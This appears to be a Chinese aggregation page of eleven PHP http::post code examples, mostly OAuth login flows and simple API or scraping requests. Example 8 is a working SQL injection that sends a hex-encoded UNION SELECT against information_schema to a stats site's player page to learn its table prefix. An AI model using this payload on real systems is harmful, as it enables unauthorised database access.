本文整理汇总了PHP中http::post方法的典型用法代码示例。如果您正苦于以下问题:PHP http::post方法的具体用法?PHP http::post怎么用?PHP http::post使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类http
的用法示例。
在下文中一共展示了http::post方法的11个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: request
public function request($arg)
{
if ($err = parent::request($arg)) {
return $err;
}
$code = $_REQUEST['code'];
$resp = http::post('https://oauth.yandex.ru/token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'grant_type' => 'authorization_code'));
if ($resp) {
$tokens = json_decode($resp);
if ($r = http::get('https://login.yandex.ru/info?format=json&oauth_token=' . $tokens->access_token)) {
$info = json_decode($r);
return $this->adduser(array('service' => $this->name, 'uid' => $info->id, 'email' => isset($info->default_email) ? $info->default_email : $info->emails[0], 'name' => isset($info->real_name) ? $info->real_name : $info->display_name), $info);
}
}
return $this->errorauth();
}
示例2: request
public function request($arg)
{
if ($err = parent::request($arg)) {
return $err;
}
$code = $_REQUEST['code'];
$resp = http::post('https://accounts.google.com/o/oauth2/token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url, 'grant_type' => 'authorization_code'));
if ($resp) {
$tokens = json_decode($resp);
if ($r = http::get('https://www.googleapis.com/oauth2/v1/userinfo?access_token=' . $tokens->access_token)) {
$info = json_decode($r);
return $this->adduser(array('service' => $this->name, 'email' => isset($info->email) ? $info->email : '', 'name' => $info->name, 'website' => isset($info->link) ? $info->link : ''), $info);
}
}
return $this->errorauth();
}
示例3: request
public function request($arg)
{
if ($err = parent::request($arg)) {
return $err;
}
$code = $_REQUEST['code'];
$resp = http::post('https://oauth.vk.com/access_token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url));
if ($resp) {
$tokens = json_decode($resp);
if ($r = http::get('https://api.vk.com/method/getProfiles?uids=' . $tokens->user_id . '&access_token=' . $tokens->access_token)) {
$js = json_decode($r);
$info = $js->response[0];
return $this->adduser(array('service' => $this->name, 'uid' => $info->uid, 'name' => $info->first_name . ' ' . $info->last_name, 'website' => 'http://vk.com/id' . $info->uid), $info);
}
}
return $this->errorauth();
}
示例4: request
public function request($arg)
{
if ($err = parent::request($arg)) {
return $err;
}
$code = $_REQUEST['code'];
$resp = http::post('https://connect.mail.ru/oauth/token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url, 'grant_type' => 'authorization_code'));
if ($resp) {
$tokens = json_decode($resp);
$params = array('method' => 'users.getInfo', 'app_id' => $this->client_id, 'session_key' => $tokens->access_token, 'uids' => $tokens->x_mailru_vid, 'secure' => '1', 'format' => 'json');
ksort($params);
$params['sig'] = $this->sign($params, $this->client_secret);
if ($r = http::get('http://www.appsmail.ru/platform/api?' . http_build_query($params))) {
$js = json_decode($r);
$info = $js[0];
return $this->adduser(array('uid' => $info->uid, 'email' => isset($info->email) ? $info->email : '', 'name' => $info->nick, 'website' => isset($info->link) ? $info->link : ''), $info);
}
}
return $this->errorauth();
}
示例5: query
function query($args, $document)
{
$this->validate($args);
$xml = new xml();
$get = [];
foreach ($this->get as $name => $value) {
$get[$name] = vars::apply_assoc($value, $args);
}
switch ($this->method) {
case 'get':
return self::to_xml(http::get($this->url, $get, $this->datasource['username'], $this->datasource['password']));
case 'post':
$post = [];
foreach ($this->post as $name => $value) {
$post[$name] = vars::apply_assoc($value, $args);
}
return self::to_xml(http::post($this->url, $post, $get, $this->datasource['username'], $this->datasource['password']));
default:
runtime_error('Unknown HTTP procedure method: ' . $this->method);
}
}
示例6: request
public function request($arg)
{
if ($err = parent::request($arg)) {
return $err;
}
$code = $_REQUEST['code'];
$resp = http::post('http://api.odnoklassniki.ru/oauth/token.do', array('grant_type' => 'authorization_code', 'code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url . litepublisher::$site->q . 'state=' . $_GET['state']));
if ($resp) {
$tokens = json_decode($resp);
if (isset($tokens->error)) {
return 403;
}
$params = array('application_key' => $this->public_key, 'client_id' => $this->client_id, 'method' => 'users.getCurrentUser', 'format' => 'JSON');
$params['sig'] = strtolower($this->sign($params, md5($tokens->access_token . $this->client_secret)));
$params['access_token'] = $tokens->access_token;
if ($r = http::post('http://api.odnoklassniki.ru/fb.do', $params)) {
$js = json_decode($r);
if (!isset($js->error)) {
return $this->adduser(array('uid' => $js->uid, 'name' => $js->name, 'website' => isset($js->link) ? $js->link : ''), $js);
}
}
}
return $this->errorauth();
}
示例7: _callWeboctave
private function _callWeboctave()
{
$form = array('commands' => $this->_script);
$http_client = new http(HTTP_V11, true);
$http_client->host = 'hara.mimuw.edu.pl';
$status = $http_client->post('/weboctave/web/index.php#menus', $form);
$this->_octaveResult = $http_client->get_response_body();
$http_client->disconnect();
unset($http_client);
$dom = new Weboctave_htmldom($this->_octaveResult);
return $dom->getOctaveResult($this->_iterations);
}
示例8: get_prefix
function get_prefix($attack)
{
$prefix = false;
$http = new http();
//hex_encode is used instead of quote marks
$payload = "killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20" . hex_encode("%events_playerplayeractions") . "%23";
$resp = $http->post($attack . "?mode=playerinfo&player=1", '', $payload);
$mid = explode('events_playerplayeractions', $resp);
if (is_array($mid)) {
foreach ($mid as $m) {
$pre = explode('>', $m);
$fix = array_pop($pre);
if (is_array($prefix)) {
if (!in_array($fix, $prefix)) {
$prefix[] = trim($fix);
}
} else {
if ($prefix != $fix) {
print $fix;
$prefix[] = trim($fix);
}
}
}
if (is_array($prefix)) {
$v = array_pop($prefix);
if (trim($v) != '0') {
//damn that zero!!
array_push($prefix, $v);
}
}
} else {
$prefix = false;
}
return $prefix;
}
示例9: connect
function connect()
{
http::setCookieJar('cookie.txt');
$this->homePage = http::get('http://mobile.bet365.com');
if ($this->homePage === FALSE || empty($this->homePage)) {
return FALSE;
}
$this->sessionId = $this->getPropData('sessionId');
if ($this->sessionId === NULL || empty($this->sessionId)) {
return FALSE;
}
echo "Session ID: " . $this->sessionId . "\n";
$this->powConnectionDetails = $this->getPropData('ConnectionDetails');
if ($this->powConnectionDetails === NULL || empty($this->powConnectionDetails)) {
return FALSE;
}
if (!isset($this->powConnectionDetails[0]) || !isset($this->powConnectionDetails[0]['Host'])) {
return FALSE;
}
echo "Pow HTTPS Host: {$this->powConnectionDetails[1]['Host']}:{$this->powConnectionDetails[1]['Port']}\n";
$this->clientRn = substr(str_shuffle("0123456789"), 0, 16);
echo "Pow Random Number: {$this->clientRn}\n";
$requestPow = $this->powRequest(0, array('method: 0', 'transporttimeout: 20', 'type: F', 'topic: S_' . $this->sessionId));
var_dump($requestPow);
if ($requestPow === FALSE || empty($requestPow)) {
return FALSE;
}
$data = explode($this->readItConstants['FIELD_DELIM'], $requestPow);
if (empty($data) || count($data) == 0 || count($data) == 1) {
return FALSE;
}
echo "Constant: {$data[0]}\n";
echo "Pow Session Id: {$data[1]}\n";
$this->clientId = $data[1];
$sslStatus = urlencode($this->powConnectionDetails[1]['Host'] . ':' . $this->powConnectionDetails[1]['Port']);
// Inform the main site of our connection
http::post('https://mobile.bet365.com/pushstatus/logpushstatus.ashx?state=true', 'sslStatus=' . $sslStatus . '&connectionID=' . $this->clientId . '&uid=' . $this->clientRn . '&connectionStatus=0&stk=' . $this->sessionId, array('X-Requested-With: XMLHttpRequest', 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'));
$requestPow = $this->powRequest(2, array('method: 1'));
// Subscribe to the InPlay list
$this->subscribe('OVInPlay_1_3//');
$requestPow = $this->powRequest(2, array('method: 1'));
if (substr($requestPow, 0, 1) != "") {
echo "Unexpected InPlay packet header";
return FALSE;
}
// Here we have some soccer data!!! wow!!
$gameData = explode($this->readItConstants['RECORD_DELIM'], $requestPow);
$gameData = explode("|", $gameData[count($gameData) - 1]);
array_shift($gameData);
// "F"
$initialCL = $this->parameterizeLine($gameData[0]);
if ($initialCL === FALSE) {
return FALSE;
}
if ($initialCL['cmd'] != 'CL') {
return FALSE;
}
if ($initialCL['params']['NA'] != 'Soccer') {
return FALSE;
}
// It isn't soccer!!??
// I decided we don't need to know what damn league they're in, holy shit too much trouble
$events = array();
// skip the initial CL (soccer)
for ($i = 1; $i < count($gameData); $i++) {
$lineData = $this->parameterizeLine($gameData[$i]);
if ($lineData === FALSE) {
continue;
}
// "EV" == EVENT
// "CT" == COMPETITION_NAME
// "PA" == PARTICIPANT
// "MA" == MARKET
// "CL" == CLASSIFICATION
// "OR" == ORDER
if ($lineData['cmd'] == 'EV') {
//if($lineData['params']['ID'] != '1')
// continue;
array_push($events, $lineData['params']);
} elseif ($lineData['cmd'] == 'CT') {
if ($lineData['params']['NA'] == 'Coupons') {
break;
// It adds some kind of coupon stuff... what
}
} elseif ($lineData['cmd'] == 'CL') {
break;
// This isn't soccer m8
}
}
$requestPow = $this->powRequest(2, array('method: 1'));
echo "Trying for ID: {$events[0]['ID']}\n";
$this->unsubscribe('OVInPlay_1_3//');
// It basically logs the data from the first soccer match found, if you want other matches loop through the array
$soccerEvent = $this->getSoccerEventInformation($events[0]['ID']);
var_dump($soccerEvent);
return FALSE;
}
示例10: getAccessToken
/**
* 获取access token
*
* @param $code
* @param $url
* @return string
*/
public function getAccessToken($code, $url)
{
$param = array("grant_type" => $this->grantType, "client_id" => $this->appid, "redirect_uri" => $url, "client_secret" => $this->appsecret, "code" => $code);
$param = array_merge($param, $this->getTokenParam);
$response = http::post($this->getAccessTokenURL, http_build_query($param));
return $this->parseToken($response);
}
示例11: array
<?php
require_once 'http.inc';
header('Content-Type: text/plain');
$form = array('value' => 1, 'date' => '05/20/02', 'date_fmt' => 'us', 'result' => 1, 'lang' => 'eng', 'exch' => 'USD', 'Currency' => 'EUR', 'format' => 'HTML', 'script' => '../convert/fxdaily', 'dest' => 'Get Table');
$http_client = new http(HTTP_V11, true);
$http_client->host = 'www.oanda.com';
$status = $http_client->post('/convert/fxdaily', $form, 'http://www.oanda.com/convert/fxdaily');
if ($status == HTTP_STATUS_OK) {
print $http_client->get_response_body();
} else {
print "An error occured while requesting your file !\n";
print_r($http_client);
}
$http_client->disconnect();
unset($http_client);